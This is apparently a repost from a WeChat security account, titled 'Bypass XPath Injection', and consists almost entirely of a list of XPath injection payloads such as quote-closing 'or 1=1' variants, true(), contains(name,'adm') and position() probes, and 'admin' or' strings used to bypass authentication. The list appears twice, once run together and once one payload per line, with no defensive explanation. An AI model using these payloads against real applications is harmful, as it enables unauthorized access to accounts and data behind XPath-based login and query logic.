m‘ or ‘1’=’1
‘ or ‘’=’ ‘ or 1]%00 ‘ or /* or ‘ ‘ or “a” or ‘ ‘ or 1 or ‘ ‘ or true() or ‘ ‘or string-length(name(.))<10 or’ ‘or contains(name,’adm’) or’ ‘or contains(.,’adm’) or’ ‘or position()=2 or’ admin’ or ‘ admin’ or ‘1’=’2
‘ or ‘1’=’1
‘ or ‘’=’
‘ or 1]%00
‘ or /* or ‘
‘ or “a” or ‘
‘ or 1 or ‘
‘ or true() or ‘
‘or string-length(name(.))<10 or’
‘or contains(name,’adm’) or’
‘or contains(.,’adm’) or’
‘or position()=2 or’
admin’ or ‘
admin’ or ‘1’=’2
原文始发于微信公众号(Khan安全攻防实验室):Bypass XPath Injection
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论